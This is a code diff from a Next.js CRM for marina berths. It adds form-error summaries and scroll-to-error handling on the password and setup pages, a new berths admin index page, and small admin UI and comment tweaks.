resolver: zodResolver(resetSchema),
|
resolver: zodResolver(resetSchema),
|
||||||
});
|
});
|
||||||
|
const submitWithScroll = useFormScrollToError(handleSubmit, errors);
|
||||||
|
|
||||||
// If the user landed here from a stale email link that points to
|
// If the user landed here from a stale email link that points to
|
||||||
// `/reset-password?token=…` instead of `/set-password?token=…`, hand
|
// `/reset-password?token=…` instead of `/set-password?token=…`, hand
|
||||||
@@ -59,7 +62,7 @@ export default function ResetPasswordPage() {
|
|||||||
});
|
});
|
||||||
|
|
||||||
// Treat 400 "user not found" as success so we don't leak whether the
|
// Treat 400 "user not found" as success so we don't leak whether the
|
||||||
// account exists — the success copy says "if an account exists…".
|
// account exists - the success copy says "if an account exists…".
|
||||||
// Anything else (5xx, network) surfaces as a real error.
|
// Anything else (5xx, network) surfaces as a real error.
|
||||||
if (!response.ok && response.status !== 400) {
|
if (!response.ok && response.status !== 400) {
|
||||||
toast.error('Something went wrong. Please try again.');
|
toast.error('Something went wrong. Please try again.');
|
||||||
@@ -96,7 +99,8 @@ export default function ResetPasswordPage() {
|
|||||||
</Link>
|
</Link>
|
||||||
</div>
|
</div>
|
||||||
) : (
|
) : (
|
||||||
<form onSubmit={handleSubmit(onSubmit)} className="space-y-4" noValidate>
|
<form onSubmit={submitWithScroll(onSubmit)} className="space-y-4" noValidate>
|
||||||
|
<FormErrorSummary errors={errors} labels={{ email: 'Email' }} />
|
||||||
<div className="space-y-1.5">
|
<div className="space-y-1.5">
|
||||||
<Label htmlFor="email">Email</Label>
|
<Label htmlFor="email">Email</Label>
|
||||||
<Input
|
<Input
|
||||||
|
|||||||
@@ -12,6 +12,8 @@ import { Button } from '@/components/ui/button';
|
|||||||
import { Input } from '@/components/ui/input';
|
import { Input } from '@/components/ui/input';
|
||||||
import { Label } from '@/components/ui/label';
|
import { Label } from '@/components/ui/label';
|
||||||
import { BrandedAuthShell } from '@/components/shared/branded-auth-shell';
|
import { BrandedAuthShell } from '@/components/shared/branded-auth-shell';
|
||||||
|
import { FormErrorSummary } from '@/components/forms/form-error-summary';
|
||||||
|
import { useFormScrollToError } from '@/hooks/use-form-scroll-to-error';
|
||||||
|
|
||||||
const MIN_LENGTH = 9;
|
const MIN_LENGTH = 9;
|
||||||
|
|
||||||
@@ -31,7 +33,7 @@ type SetPasswordFormData = z.infer<typeof passwordSchema>;
|
|||||||
* H-03: tokens travel in the URL fragment (`#token=…`) so they never land
|
* H-03: tokens travel in the URL fragment (`#token=…`) so they never land
|
||||||
* in HTTP access logs or HTTP-Referer headers. Pre-fragment links still
|
* in HTTP access logs or HTTP-Referer headers. Pre-fragment links still
|
||||||
* carry `?token=…` and stay functional until every outstanding invite
|
* carry `?token=…` and stay functional until every outstanding invite
|
||||||
* expires — drop the `?token=` fallback after that grace period.
|
* expires - drop the `?token=` fallback after that grace period.
|
||||||
*/
|
*/
|
||||||
function readTokenFromUrl(): string {
|
function readTokenFromUrl(): string {
|
||||||
if (typeof window === 'undefined') return '';
|
if (typeof window === 'undefined') return '';
|
||||||
@@ -65,6 +67,7 @@ function SetPasswordInner() {
|
|||||||
} = useForm<SetPasswordFormData>({
|
} = useForm<SetPasswordFormData>({
|
||||||
resolver: zodResolver(passwordSchema),
|
resolver: zodResolver(passwordSchema),
|
||||||
});
|
});
|
||||||
|
const submitWithScroll = useFormScrollToError(handleSubmit, errors);
|
||||||
|
|
||||||
async function onSubmit(data: SetPasswordFormData) {
|
async function onSubmit(data: SetPasswordFormData) {
|
||||||
if (!token) {
|
if (!token) {
|
||||||
@@ -138,7 +141,11 @@ function SetPasswordInner() {
|
|||||||
<p className="text-sm text-gray-500 mt-1">Choose a password for your CRM account</p>
|
<p className="text-sm text-gray-500 mt-1">Choose a password for your CRM account</p>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<form onSubmit={handleSubmit(onSubmit)} className="space-y-4" noValidate>
|
<form onSubmit={submitWithScroll(onSubmit)} className="space-y-4" noValidate>
|
||||||
|
<FormErrorSummary
|
||||||
|
errors={errors}
|
||||||
|
labels={{ password: 'Password', confirmPassword: 'Confirm password' }}
|
||||||
|
/>
|
||||||
<div className="space-y-1.5">
|
<div className="space-y-1.5">
|
||||||
<Label htmlFor="password">New password</Label>
|
<Label htmlFor="password">New password</Label>
|
||||||
<Input
|
<Input
|
||||||
|
|||||||
@@ -12,6 +12,8 @@ import { Input } from '@/components/ui/input';
|
|||||||
import { Label } from '@/components/ui/label';
|
import { Label } from '@/components/ui/label';
|
||||||
import { BrandedAuthShell } from '@/components/shared/branded-auth-shell';
|
import { BrandedAuthShell } from '@/components/shared/branded-auth-shell';
|
||||||
import { useAuthBranding } from '@/components/shared/auth-branding-provider';
|
import { useAuthBranding } from '@/components/shared/auth-branding-provider';
|
||||||
|
import { FormErrorSummary } from '@/components/forms/form-error-summary';
|
||||||
|
import { useFormScrollToError } from '@/hooks/use-form-scroll-to-error';
|
||||||
import { apiFetch } from '@/lib/api/client';
|
import { apiFetch } from '@/lib/api/client';
|
||||||
import { cn } from '@/lib/utils';
|
import { cn } from '@/lib/utils';
|
||||||
|
|
||||||
@@ -31,7 +33,7 @@ interface StatusResp {
|
|||||||
/**
|
/**
|
||||||
* First-run setup. On a fresh DB the very first visitor can claim the
|
* First-run setup. On a fresh DB the very first visitor can claim the
|
||||||
* super-admin account here. Once anyone claims it, future visits to
|
* super-admin account here. Once anyone claims it, future visits to
|
||||||
* /setup redirect back to /login — the precondition is verified both
|
* /setup redirect back to /login - the precondition is verified both
|
||||||
* server-side (`/api/v1/bootstrap/status` + `/api/v1/bootstrap/super-admin`'s
|
* server-side (`/api/v1/bootstrap/status` + `/api/v1/bootstrap/super-admin`'s
|
||||||
* internal recheck) and client-side here.
|
* internal recheck) and client-side here.
|
||||||
*/
|
*/
|
||||||
@@ -50,6 +52,7 @@ export default function SetupPage() {
|
|||||||
} = useForm<SetupFormData>({
|
} = useForm<SetupFormData>({
|
||||||
resolver: zodResolver(setupSchema),
|
resolver: zodResolver(setupSchema),
|
||||||
});
|
});
|
||||||
|
const submitWithScroll = useFormScrollToError(handleSubmit, errors);
|
||||||
|
|
||||||
useEffect(() => {
|
useEffect(() => {
|
||||||
let cancelled = false;
|
let cancelled = false;
|
||||||
@@ -58,13 +61,13 @@ export default function SetupPage() {
|
|||||||
const res = await apiFetch<StatusResp>('/api/v1/bootstrap/status');
|
const res = await apiFetch<StatusResp>('/api/v1/bootstrap/status');
|
||||||
if (cancelled) return;
|
if (cancelled) return;
|
||||||
if (!res.data.needsBootstrap) {
|
if (!res.data.needsBootstrap) {
|
||||||
// Already initialized — bounce to login. Replace, not push,
|
// Already initialized - bounce to login. Replace, not push,
|
||||||
// so back-button doesn't trap the user here.
|
// so back-button doesn't trap the user here.
|
||||||
router.replace('/login');
|
router.replace('/login');
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
} catch {
|
} catch {
|
||||||
// Status endpoint failed — let the user try anyway; the POST
|
// Status endpoint failed - let the user try anyway; the POST
|
||||||
// does its own check and will surface a 409 if the window closed.
|
// does its own check and will surface a 409 if the window closed.
|
||||||
} finally {
|
} finally {
|
||||||
if (!cancelled) setChecking(false);
|
if (!cancelled) setChecking(false);
|
||||||
@@ -119,7 +122,16 @@ export default function SetupPage() {
|
|||||||
</p>
|
</p>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<form onSubmit={handleSubmit(onSubmit)} className="space-y-4">
|
<form onSubmit={submitWithScroll(onSubmit)} className="space-y-4">
|
||||||
|
<FormErrorSummary
|
||||||
|
errors={errors}
|
||||||
|
labels={{
|
||||||
|
name: 'Name',
|
||||||
|
email: 'Email',
|
||||||
|
password: 'Password',
|
||||||
|
confirmPassword: 'Confirm password',
|
||||||
|
}}
|
||||||
|
/>
|
||||||
<div className="space-y-1.5">
|
<div className="space-y-1.5">
|
||||||
<Label htmlFor="setup-name">Your name</Label>
|
<Label htmlFor="setup-name">Your name</Label>
|
||||||
<Input
|
<Input
|
||||||
@@ -180,7 +192,7 @@ export default function SetupPage() {
|
|||||||
</Button>
|
</Button>
|
||||||
</form>
|
</form>
|
||||||
|
|
||||||
<p className="text-center text-[11px] text-muted-foreground">
|
<p className="text-center text-xs text-muted-foreground">
|
||||||
This screen is only available until the first administrator is created. After that,
|
This screen is only available until the first administrator is created. After that,
|
||||||
subsequent users are added through Admin → Users.
|
subsequent users are added through Admin → Users.
|
||||||
</p>
|
</p>
|
||||||
|
|||||||
@@ -42,7 +42,7 @@ export default function AiAdminPage() {
|
|||||||
</Card>
|
</Card>
|
||||||
|
|
||||||
{/*
|
{/*
|
||||||
Berth-PDF parser AI fallback — currently configured via the
|
Berth-PDF parser AI fallback - currently configured via the
|
||||||
BERTH_PDF_PARSER_* env vars. No per-port override surface today;
|
BERTH_PDF_PARSER_* env vars. No per-port override surface today;
|
||||||
when one is added, it lands here so admins don't have to hunt.
|
when one is added, it lands here so admins don't have to hunt.
|
||||||
*/}
|
*/}
|
||||||
@@ -63,10 +63,10 @@ export default function AiAdminPage() {
|
|||||||
{/*
|
{/*
|
||||||
Future AI surfaces. Each gets a section here once it ships:
|
Future AI surfaces. Each gets a section here once it ships:
|
||||||
- Recommender embeddings (currently rule-based, not LLM-based)
|
- Recommender embeddings (currently rule-based, not LLM-based)
|
||||||
- Contact-log action extraction (deferred — needs user demand)
|
- Contact-log action extraction (deferred - needs user demand)
|
||||||
- Inquiry-form auto-classification (deferred)
|
- Inquiry-form auto-classification (deferred)
|
||||||
Listing them inert here closes the "where do I configure AI?"
|
Listing them inert here closes the "where do I configure AI?"
|
||||||
loop — admins land on /admin/ai and see the full landscape.
|
loop - admins land on /admin/ai and see the full landscape.
|
||||||
*/}
|
*/}
|
||||||
<Card>
|
<Card>
|
||||||
<CardHeader>
|
<CardHeader>
|
||||||
|
|||||||
88
src/app/(dashboard)/[portSlug]/admin/berths/page.tsx
Normal file
88
src/app/(dashboard)/[portSlug]/admin/berths/page.tsx
Normal file
@@ -0,0 +1,88 @@
|
|||||||
|
import Link from 'next/link';
|
||||||
|
import type { Route } from 'next';
|
||||||
|
import { AlertCircle, Anchor, FileSearch } from 'lucide-react';
|
||||||
|
|
||||||
|
import { PageHeader } from '@/components/shared/page-header';
|
||||||
|
import { Card, CardContent, CardDescription, CardHeader, CardTitle } from '@/components/ui/card';
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Berths admin index. Both sub-pages (`bulk-add`, `reconcile`) existed
|
||||||
|
* pre-2026-05-22 but were only reachable via deep links from inside the
|
||||||
|
* Berths list. Surfacing them on a dedicated admin landing tile so the
|
||||||
|
* tools are discoverable without prior knowledge of the URL - part of
|
||||||
|
* the admin IA regroup (B3 #10 Phase 2).
|
||||||
|
*/
|
||||||
|
export default async function BerthsAdminIndex({
|
||||||
|
params,
|
||||||
|
}: {
|
||||||
|
params: Promise<{ portSlug: string }>;
|
||||||
|
}) {
|
||||||
|
const { portSlug } = await params;
|
||||||
|
const tools = [
|
||||||
|
{
|
||||||
|
href: `/${portSlug}/admin/berths/bulk-add` as Route,
|
||||||
|
label: 'Bulk add berths',
|
||||||
|
description:
|
||||||
|
'Generate many berth rows in one wizard - set pier, prefix, mooring number range, and per-berth defaults; preview before commit.',
|
||||||
|
icon: Anchor,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
href: `/${portSlug}/admin/berths/reconcile` as Route,
|
||||||
|
label: 'Reconciliation queue',
|
||||||
|
description:
|
||||||
|
"Berths missing required fields after import / PDF parse. Surface what's missing per row and link straight to the edit sheet.",
|
||||||
|
icon: FileSearch,
|
||||||
|
},
|
||||||
|
] as const;
|
||||||
|
|
||||||
|
return (
|
||||||
|
<div className="space-y-6">
|
||||||
|
<PageHeader
|
||||||
|
title="Berths admin"
|
||||||
|
eyebrow="ADMIN"
|
||||||
|
description="Tools for bulk berth creation and post-import reconciliation. Single-berth edits stay on the Berths list - these surfaces are for batch operations."
|
||||||
|
/>
|
||||||
|
|
||||||
|
<div className="grid grid-cols-1 gap-4 sm:grid-cols-2">
|
||||||
|
{tools.map((t) => {
|
||||||
|
const Icon = t.icon;
|
||||||
|
return (
|
||||||
|
<Link key={t.href} href={t.href} className="block group">
|
||||||
|
<Card className="h-full transition-colors group-hover:border-primary/50 group-hover:bg-muted/30">
|
||||||
|
<CardHeader className="flex flex-row items-start gap-3 space-y-0 pb-2">
|
||||||
|
<Icon
|
||||||
|
className="h-5 w-5 mt-0.5 text-muted-foreground group-hover:text-primary"
|
||||||
|
aria-hidden
|
||||||
|
/>
|
||||||
|
<CardTitle className="text-base">{t.label}</CardTitle>
|
||||||
|
</CardHeader>
|
||||||
|
<CardContent>
|
||||||
|
<CardDescription>{t.description}</CardDescription>
|
||||||
|
</CardContent>
|
||||||
|
</Card>
|
||||||
|
</Link>
|
||||||
|
);
|
||||||
|
})}
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<Card className="border-amber-200 bg-amber-50/50">
|
||||||
|
<CardHeader className="flex flex-row items-start gap-3 space-y-0 pb-2">
|
||||||
|
<AlertCircle className="h-5 w-5 mt-0.5 text-amber-600" aria-hidden />
|
||||||
|
<CardTitle className="text-sm">Not what you're looking for?</CardTitle>
|
||||||
|
</CardHeader>
|
||||||
|
<CardContent>
|
||||||
|
<CardDescription className="text-xs">
|
||||||
|
For single-berth edits, browse to the{' '}
|
||||||
|
<Link
|
||||||
|
href={`/${portSlug}/berths` as Route}
|
||||||
|
className="font-medium text-primary hover:underline"
|
||||||
|
>
|
||||||
|
Berths list
|
||||||
|
</Link>{' '}
|
||||||
|
and click any row. Per-berth PDF uploads + brochure assignment also live there.
|
||||||
|
</CardDescription>
|
||||||
|
</CardContent>
|
||||||
|
</Card>
|
||||||
|
</div>
|
||||||
|
);
|
||||||
|
}
|
||||||
@@ -52,7 +52,7 @@ const FIELDS: SettingFieldDef[] = [
|
|||||||
description:
|
description:
|
||||||
'Blurred photo shown behind the white email card and the auth-shell (login / reset password) pages. Leave blank to render a plain off-white backdrop. Recommended: 1920x1080 JPG, pre-blurred to ~20px gaussian so it reads as a soft background even on small clients.',
|
'Blurred photo shown behind the white email card and the auth-shell (login / reset password) pages. Leave blank to render a plain off-white backdrop. Recommended: 1920x1080 JPG, pre-blurred to ~20px gaussian so it reads as a soft background even on small clients.',
|
||||||
type: 'image-upload',
|
type: 'image-upload',
|
||||||
// 16:9 — landscape. Without an explicit aspect, the cropper falls
|
// 16:9 - landscape. Without an explicit aspect, the cropper falls
|
||||||
// back to 1:1 and renders a circular mask (intended for avatars),
|
// back to 1:1 and renders a circular mask (intended for avatars),
|
||||||
// which is the wrong UX for a viewport-cover background.
|
// which is the wrong UX for a viewport-cover background.
|
||||||
imageAspect: 16 / 9,
|
imageAspect: 16 / 9,
|
||||||
|
|||||||
@@ -6,7 +6,7 @@ import { BrochuresAdminPanel } from '@/components/admin/brochures-admin-panel';
|
|||||||
*
|
*
|
||||||
* Lists brochures, lets per-port admins upload new versions via direct-to-
|
* Lists brochures, lets per-port admins upload new versions via direct-to-
|
||||||
* storage presigned URLs (so the 20MB+ file never traverses Next.js's
|
* storage presigned URLs (so the 20MB+ file never traverses Next.js's
|
||||||
* body-size limit — see §11.1), and toggle the default flag.
|
* body-size limit - see §11.1), and toggle the default flag.
|
||||||
*/
|
*/
|
||||||
export default function BrochuresAdminPage() {
|
export default function BrochuresAdminPage() {
|
||||||
return (
|
return (
|
||||||
|
|||||||
@@ -4,10 +4,11 @@ import { RegistryDrivenForm } from '@/components/admin/shared/registry-driven-fo
|
|||||||
import { DocumensoTestButton } from '@/components/admin/documenso/documenso-test-button';
|
import { DocumensoTestButton } from '@/components/admin/documenso/documenso-test-button';
|
||||||
import { EmbeddedSigningCard } from '@/components/admin/documenso/embedded-signing-card';
|
import { EmbeddedSigningCard } from '@/components/admin/documenso/embedded-signing-card';
|
||||||
import { TemplateSyncButton } from '@/components/admin/documenso/template-sync-button';
|
import { TemplateSyncButton } from '@/components/admin/documenso/template-sync-button';
|
||||||
|
import { WebhookHealthCard } from '@/components/admin/documenso/webhook-health-card';
|
||||||
import { PageHeader } from '@/components/shared/page-header';
|
import { PageHeader } from '@/components/shared/page-header';
|
||||||
import { Card, CardContent, CardHeader, CardTitle } from '@/components/ui/card';
|
import { Card, CardContent, CardHeader, CardTitle } from '@/components/ui/card';
|
||||||
|
|
||||||
// All field arrays removed — every Documenso setting now flows through
|
// All field arrays removed - every Documenso setting now flows through
|
||||||
// `RegistryDrivenForm`, which surfaces the env-fallback / port / global
|
// `RegistryDrivenForm`, which surfaces the env-fallback / port / global
|
||||||
// source badge on each field. The settings themselves live in
|
// source badge on each field. The settings themselves live in
|
||||||
// `src/lib/settings/registry.ts` under sections `documenso.api` /
|
// `src/lib/settings/registry.ts` under sections `documenso.api` /
|
||||||
@@ -17,8 +18,8 @@ export default function DocumensoSettingsPage() {
|
|||||||
return (
|
return (
|
||||||
<div className="space-y-6">
|
<div className="space-y-6">
|
||||||
<PageHeader
|
<PageHeader
|
||||||
title="Documenso & EOI"
|
title="Signing service (Documenso)"
|
||||||
description="API credentials, signer identities, and document generation behaviour. Use the test-connection button to verify a saved configuration before relying on it."
|
description="API credentials, signer identities, templates, and signing behaviour for every document the CRM puts out for signature (EOI, reservation, contract, custom uploads). Use the test-connection button to verify a saved configuration before relying on it."
|
||||||
/>
|
/>
|
||||||
|
|
||||||
<Card>
|
<Card>
|
||||||
@@ -200,11 +201,13 @@ export default function DocumensoSettingsPage() {
|
|||||||
<RegistryDrivenForm
|
<RegistryDrivenForm
|
||||||
sections={['documenso.templates']}
|
sections={['documenso.templates']}
|
||||||
title="Templates & signing pathway"
|
title="Templates & signing pathway"
|
||||||
description="Default pathway, template IDs, and email behaviour for EOIs, reservations, and contracts. Recipient + field discovery happens via 'Sync from Documenso' below — that also populates the EOI template ID for you. Most ports leave the reservation/contract template IDs blank because those are typically drafted per interest and uploaded for signing; set them only if you maintain standardised Documenso templates for them."
|
description="Default pathway, template IDs, and email behaviour for EOIs, reservations, and contracts. Recipient + field discovery happens via 'Sync from Documenso' below - that also populates the EOI template ID for you. Most ports leave the reservation/contract template IDs blank because those are typically drafted per interest and uploaded for signing; set them only if you maintain standardised Documenso templates for them."
|
||||||
extra={<TemplateSyncButton />}
|
extra={<TemplateSyncButton />}
|
||||||
/>
|
/>
|
||||||
|
|
||||||
<EmbeddedSigningCard />
|
<EmbeddedSigningCard />
|
||||||
|
|
||||||
|
<WebhookHealthCard />
|
||||||
</div>
|
</div>
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -5,6 +5,7 @@ import { RegistryDrivenForm } from '@/components/admin/shared/registry-driven-fo
|
|||||||
import { SalesEmailConfigCard } from '@/components/admin/sales-email-config-card';
|
import { SalesEmailConfigCard } from '@/components/admin/sales-email-config-card';
|
||||||
import { EmailRoutingCard } from '@/components/admin/email-routing-card';
|
import { EmailRoutingCard } from '@/components/admin/email-routing-card';
|
||||||
import { SmtpTestSendCard } from '@/components/admin/email/smtp-test-send-card';
|
import { SmtpTestSendCard } from '@/components/admin/email/smtp-test-send-card';
|
||||||
|
import { TestTemplateCard } from '@/components/admin/email/test-template-card';
|
||||||
|
|
||||||
export default function EmailSettingsPage() {
|
export default function EmailSettingsPage() {
|
||||||
return (
|
return (
|
||||||
@@ -14,7 +15,7 @@ export default function EmailSettingsPage() {
|
|||||||
description="Per-port outgoing email configuration. SMTP credentials and the From address default to environment variables when these fields are blank. Header/footer HTML lives under Branding."
|
description="Per-port outgoing email configuration. SMTP credentials and the From address default to environment variables when these fields are blank. Header/footer HTML lives under Branding."
|
||||||
/>
|
/>
|
||||||
|
|
||||||
{/* Explainer for the "two accounts" model — addresses the recurring
|
{/* Explainer for the "two accounts" model - addresses the recurring
|
||||||
UAT question "why are there separate SMTP credentials for sales
|
UAT question "why are there separate SMTP credentials for sales
|
||||||
and noreply?". Keeps the answer in front of the admin before
|
and noreply?". Keeps the answer in front of the admin before
|
||||||
they reach the per-card form below. */}
|
they reach the per-card form below. */}
|
||||||
@@ -39,7 +40,7 @@ export default function EmailSettingsPage() {
|
|||||||
</div>
|
</div>
|
||||||
|
|
||||||
{/* Registry-driven so each field shows the "Using env fallback /
|
{/* Registry-driven so each field shows the "Using env fallback /
|
||||||
port / global / default" badge inline — admins can tell at a
|
port / global / default" badge inline - admins can tell at a
|
||||||
glance which fields are coming from .env vs. UI overrides. */}
|
glance which fields are coming from .env vs. UI overrides. */}
|
||||||
<RegistryDrivenForm
|
<RegistryDrivenForm
|
||||||
sections={['email.from']}
|
sections={['email.from']}
|
||||||
@@ -52,6 +53,7 @@ export default function EmailSettingsPage() {
|
|||||||
description="Optional per-port SMTP credentials for the noreply mailbox. Leave blank to use the global env defaults. Each field shows its current source (env / port / default) so you can tell what's active without checking the deploy."
|
description="Optional per-port SMTP credentials for the noreply mailbox. Leave blank to use the global env defaults. Each field shows its current source (env / port / default) so you can tell what's active without checking the deploy."
|
||||||
/>
|
/>
|
||||||
<SmtpTestSendCard />
|
<SmtpTestSendCard />
|
||||||
|
<TestTemplateCard />
|
||||||
<SalesEmailConfigCard />
|
<SalesEmailConfigCard />
|
||||||
<EmailRoutingCard />
|
<EmailRoutingCard />
|
||||||
</div>
|
</div>
|
||||||
|
|||||||
@@ -4,17 +4,18 @@ import Link from 'next/link';
|
|||||||
import { useParams } from 'next/navigation';
|
import { useParams } from 'next/navigation';
|
||||||
import { useQuery } from '@tanstack/react-query';
|
import { useQuery } from '@tanstack/react-query';
|
||||||
import { format } from 'date-fns';
|
import { format } from 'date-fns';
|
||||||
import { ArrowLeft, Copy, Wrench } from 'lucide-react';
|
import { Copy, Wrench } from 'lucide-react';
|
||||||
import { toast } from 'sonner';
|
import { toast } from 'sonner';
|
||||||
|
|
||||||
import type { Route } from 'next';
|
import type { Route } from 'next';
|
||||||
|
|
||||||
import { Badge } from '@/components/ui/badge';
|
import { Badge } from '@/components/ui/badge';
|
||||||
import { ERROR_CODES, isErrorCode } from '@/lib/error-codes';
|
|
||||||
import { Button } from '@/components/ui/button';
|
import { Button } from '@/components/ui/button';
|
||||||
|
import { ERROR_CODES, isErrorCode } from '@/lib/error-codes';
|
||||||
import { Card, CardContent, CardHeader, CardTitle } from '@/components/ui/card';
|
import { Card, CardContent, CardHeader, CardTitle } from '@/components/ui/card';
|
||||||
import { Skeleton } from '@/components/ui/skeleton';
|
import { Skeleton } from '@/components/ui/skeleton';
|
||||||
import { apiFetch } from '@/lib/api/client';
|
import { apiFetch } from '@/lib/api/client';
|
||||||
|
import { useBreadcrumbHint } from '@/hooks/use-breadcrumb-hint';
|
||||||
import type { ErrorEvent } from '@/lib/db/schema/system';
|
import type { ErrorEvent } from '@/lib/db/schema/system';
|
||||||
import type { LikelyCulprit } from '@/lib/error-classifier';
|
import type { LikelyCulprit } from '@/lib/error-classifier';
|
||||||
|
|
||||||
@@ -36,6 +37,17 @@ export default function ErrorEventDetailPage() {
|
|||||||
const portSlug = params?.portSlug ?? '';
|
const portSlug = params?.portSlug ?? '';
|
||||||
const requestId = params?.requestId ?? '';
|
const requestId = params?.requestId ?? '';
|
||||||
|
|
||||||
|
// Smart-back target: send the user back to the error list, not the
|
||||||
|
// generic Administration page that URL-derivation would land on.
|
||||||
|
useBreadcrumbHint(
|
||||||
|
portSlug
|
||||||
|
? {
|
||||||
|
parents: [{ label: 'Error inspector', href: `/${portSlug}/admin/errors` }],
|
||||||
|
current: `Error ${requestId.slice(0, 8)}…`,
|
||||||
|
}
|
||||||
|
: null,
|
||||||
|
);
|
||||||
|
|
||||||
const query = useQuery<DetailResponse>({
|
const query = useQuery<DetailResponse>({
|
||||||
queryKey: ['admin', 'error-events', requestId],
|
queryKey: ['admin', 'error-events', requestId],
|
||||||
queryFn: () => apiFetch<DetailResponse>(`/api/v1/admin/error-events/${requestId}`),
|
queryFn: () => apiFetch<DetailResponse>(`/api/v1/admin/error-events/${requestId}`),
|
||||||
@@ -71,15 +83,6 @@ export default function ErrorEventDetailPage() {
|
|||||||
|
|
||||||
return (
|
return (
|
||||||
<div className="space-y-4">
|
<div className="space-y-4">
|
||||||
<div>
|
|
||||||
<Button variant="ghost" size="sm" asChild>
|
|
||||||
<Link href={`/${portSlug}/admin/errors` as Route}>
|
|
||||||
<ArrowLeft className="mr-1.5 h-4 w-4" />
|
|
||||||
Back to error list
|
|
||||||
</Link>
|
|
||||||
</Button>
|
|
||||||
</div>
|
|
||||||
|
|
||||||
<div className="flex items-center gap-2 flex-wrap">
|
<div className="flex items-center gap-2 flex-wrap">
|
||||||
<h1 className="text-2xl font-bold">Error {requestId.slice(0, 8)}…</h1>
|
<h1 className="text-2xl font-bold">Error {requestId.slice(0, 8)}…</h1>
|
||||||
<Badge
|
<Badge
|
||||||
@@ -163,11 +166,11 @@ export default function ErrorEventDetailPage() {
|
|||||||
<KV label="Method" value={event.method} />
|
<KV label="Method" value={event.method} />
|
||||||
<KV label="Path" value={event.path} mono />
|
<KV label="Path" value={event.path} mono />
|
||||||
<KV label="When" value={format(new Date(event.createdAt), 'PPpp')} />
|
<KV label="When" value={format(new Date(event.createdAt), 'PPpp')} />
|
||||||
<KV label="Duration" value={event.durationMs ? `${event.durationMs} ms` : '—'} />
|
<KV label="Duration" value={event.durationMs ? `${event.durationMs} ms` : '-'} />
|
||||||
<KV label="Port" value={event.portId ?? '(none)'} mono />
|
<KV label="Port" value={event.portId ?? '(none)'} mono />
|
||||||
<KV label="User" value={event.userId ?? '(none)'} mono />
|
<KV label="User" value={event.userId ?? '(none)'} mono />
|
||||||
<KV label="IP" value={event.ipAddress ?? '—'} mono />
|
<KV label="IP" value={event.ipAddress ?? '-'} mono />
|
||||||
<KV label="User agent" value={event.userAgent ?? '—'} />
|
<KV label="User agent" value={event.userAgent ?? '-'} />
|
||||||
</CardContent>
|
</CardContent>
|
||||||
</Card>
|
</Card>
|
||||||
|
|
||||||
@@ -176,11 +179,11 @@ export default function ErrorEventDetailPage() {
|
|||||||
<CardTitle className="text-sm font-medium">Error</CardTitle>
|
<CardTitle className="text-sm font-medium">Error</CardTitle>
|
||||||
</CardHeader>
|
</CardHeader>
|
||||||
<CardContent className="space-y-3 text-sm">
|
<CardContent className="space-y-3 text-sm">
|
||||||
<KV label="Name" value={event.errorName ?? '—'} mono />
|
<KV label="Name" value={event.errorName ?? '-'} mono />
|
||||||
<div>
|
<div>
|
||||||
<p className="text-xs text-muted-foreground">Message</p>
|
<p className="text-xs text-muted-foreground">Message</p>
|
||||||
<p className="mt-0.5 font-mono whitespace-pre-wrap wrap-break-word">
|
<p className="mt-0.5 font-mono whitespace-pre-wrap wrap-break-word">
|
||||||
{event.errorMessage ?? '—'}
|
{event.errorMessage ?? '-'}
|
||||||
</p>
|
</p>
|
||||||
</div>
|
</div>
|
||||||
{event.errorStack && (
|
{event.errorStack && (
|
||||||
@@ -240,7 +243,7 @@ function KV({ label, value, mono }: { label: string; value: string | null; mono?
|
|||||||
return (
|
return (
|
||||||
<div>
|
<div>
|
||||||
<p className="text-xs text-muted-foreground">{label}</p>
|
<p className="text-xs text-muted-foreground">{label}</p>
|
||||||
<p className={`mt-0.5 ${mono ? 'font-mono text-xs' : ''}`}>{value ?? '—'}</p>
|
<p className={`mt-0.5 ${mono ? 'font-mono text-xs' : ''}`}>{value ?? '-'}</p>
|
||||||
</div>
|
</div>
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,16 +1,13 @@
|
|||||||
'use client';
|
'use client';
|
||||||
|
|
||||||
import { useState, useMemo } from 'react';
|
import { useState, useMemo } from 'react';
|
||||||
import Link from 'next/link';
|
|
||||||
import { useParams } from 'next/navigation';
|
import { useParams } from 'next/navigation';
|
||||||
import { ArrowLeft, BookOpen, Search } from 'lucide-react';
|
import { BookOpen, Search } from 'lucide-react';
|
||||||
|
|
||||||
import type { Route } from 'next';
|
|
||||||
|
|
||||||
import { Badge } from '@/components/ui/badge';
|
import { Badge } from '@/components/ui/badge';
|
||||||
import { Button } from '@/components/ui/button';
|
|
||||||
import { Card, CardContent, CardHeader, CardTitle } from '@/components/ui/card';
|
import { Card, CardContent, CardHeader, CardTitle } from '@/components/ui/card';
|
||||||
import { Input } from '@/components/ui/input';
|
import { Input } from '@/components/ui/input';
|
||||||
|
import { useBreadcrumbHint } from '@/hooks/use-breadcrumb-hint';
|
||||||
import { ERROR_CODES } from '@/lib/error-codes';
|
import { ERROR_CODES } from '@/lib/error-codes';
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -20,13 +17,24 @@ import { ERROR_CODES } from '@/lib/error-codes';
|
|||||||
* plain-language meaning + status code without leaving the app.
|
* plain-language meaning + status code without leaving the app.
|
||||||
*
|
*
|
||||||
* Pulls directly from `src/lib/error-codes.ts` so it stays in sync
|
* Pulls directly from `src/lib/error-codes.ts` so it stays in sync
|
||||||
* automatically — adding an entry to the registry adds a row here.
|
* automatically - adding an entry to the registry adds a row here.
|
||||||
*/
|
*/
|
||||||
export default function ErrorCodeReferencePage() {
|
export default function ErrorCodeReferencePage() {
|
||||||
const params = useParams<{ portSlug: string }>();
|
const params = useParams<{ portSlug: string }>();
|
||||||
const portSlug = params?.portSlug ?? '';
|
const portSlug = params?.portSlug ?? '';
|
||||||
const [search, setSearch] = useState('');
|
const [search, setSearch] = useState('');
|
||||||
|
|
||||||
|
// Smart-back target: send the user back to the error inspector, not
|
||||||
|
// the generic Administration page URL-derivation would land on.
|
||||||
|
useBreadcrumbHint(
|
||||||
|
portSlug
|
||||||
|
? {
|
||||||
|
parents: [{ label: 'Error inspector', href: `/${portSlug}/admin/errors` }],
|
||||||
|
current: 'Error code reference',
|
||||||
|
}
|
||||||
|
: null,
|
||||||
|
);
|
